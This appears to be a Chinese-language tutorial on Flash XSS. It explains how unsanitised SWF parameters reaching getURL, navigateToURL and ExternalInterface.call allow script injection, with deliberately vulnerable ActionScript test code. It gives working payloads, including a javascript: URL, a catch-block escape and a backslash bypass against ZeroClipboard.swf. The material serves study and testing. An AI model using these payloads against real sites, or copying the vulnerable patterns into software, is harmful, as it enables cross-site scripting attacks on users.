FLASH
Flash?
.swf是Flash文件的后缀,在线反编译的网站http://www.showmycode.com/ 该文件是由ActoionScript(以下简称AS)语言编写的,现在的AS分为了AS2和AS3,说白了就是两个版本 关于flash的参数传递之间的不同: AS2:采用_root.argv形式,argv直接就是参数名 AS3:采用loaderInfo.parameters形式,返回key和value的结构
Flash XSS
Flash XSS的起因
几个参数:getURL
、navigateURL
、ExternalInterface.call
1.缺陷参数-getURL&navigateToURL
可以执行js代码,as2中是getURL,as3中是navigateToURL
navigateToURL
navigateToURL(new URLRequest(para), "_self"); //其中parm可以作为js代码执行
测试代码
import flash.net.navigateToURL
public class Main extends Sprite
{
public function Main()
{
var url:String = stage.loaderInfo.parameters.url;
navigateToURL(new URLRequest(url), '_self');
}
}
payload:
?url=javascript:alert('xss')
结果:
2. getURL
getURL(para,"_self"); //para可以作为js代码执行
利用和navigateToURL相同
ExternalInterface.call
ExternalInterface.call(func_name,para1); //func_name代表函数名,para1是函数func_name的第一个参数,可以只写第一个参数
底层代码:
try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
- ExternalInterface.call()-函数名 测试代码:
public function Main()
{
var a:String = root.loaderInfo.parameters.func;
if (ExternalInterface.available)
{
ExternalInterface.call(a);
}
else{
trace('error');
}
}
payload:
?func=alert(1))}catch(e){alert(2)}//
实际Code:
try { __Flash__toXML(alert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; }
payload:
?func=a1lert(1))}catch(e){alert(2)}//
实际Code:
try { __Flash__toXML(allert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; }
结果:
2. ExternalInterface.call()-参数1
测试代码(测试失败)
public function Main()
{
trace('Success');
var a:String = root.loaderInfo.parameters.para;
if (a)
{
ExternalInterface.call("console.log", a)
}
else{
}
}
payload:
\"))}catch(e){alert(1)}//
//由于jsencode会对"
进行转义,这里使用\"
使其变成闭合的形式.
实际Code:
try { __Flash__toXML(console.log("\"))}catch(e){alert(1)}//")) ; } catch (e) { "<undefined/>"; }
结果(可以看之后的ZeroClipboard.swf的测试)
3. ZeroClipboard.swf
关键代码:
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(0xCCFF00);
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK, clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER, function (_arg1:Event){
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
});
首先寻找可以触发的点,在ExtenalInterface.call里面的参数是可以控制的,跟到id的定义id = flashvars.id
,再继续跟到flashvars的的定义
var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters
这个我们之前说过就是AS3的获取参数的形式,接着是利用的方式,这里有个地方需要绕过,如下:
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
需要先构造一个button成功后才能到达可以利用的点. payload;
id="))} catch(e) {alert(1);}//&width=1000&height=1000
结果:
没有任何的反应,看浏览器的错误日志
发现"
被\
转义了,可以添加一个\
来达到绕过的效果
payload:
id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
HTML中的Flash
Flash的嵌入:
<object width="200" height="200" type="application/x-shockwave-flash" data="flash-path">
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
这里有两个参数allowScriptAccess
、allowNetworking
allowScriptAccess:控制html页面与Flash页面铜须
always:通讯不做限制
samedomain:同域可通信(默认值)
never:禁止通讯
allowNetworking:控制Flash的与外部网络API
all:所以有网络API通讯接口都可用
internal:naigateToURL,fscomman,ExternalInterface.call不可用
none: 所有网络API不可用
Alert.as
public class Main extends Sprite
{
public function Main()
{
ExternalInterface.call("alert",'xss');
}
}
1.插入本地文件&allowScriptAccess为samedomain或者always可弹窗
<object width="200" height="200" type="application/x-shockwave-flash" data="./Alert.swf">
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
结果: 2.插入本地文件&allowScriptAccess为never没有弹窗效果 3.插入远程文件&allowScriptAccess为always可弹窗 4.插入远程文件&allowScriptAccess为samedomain或者never没有弹窗效果 5.allowNetworking为internal没有弹窗,由于ExternalInterface.call被禁止了
在线测试网站:https://cure53.de/flashbang
(ง •_•)ง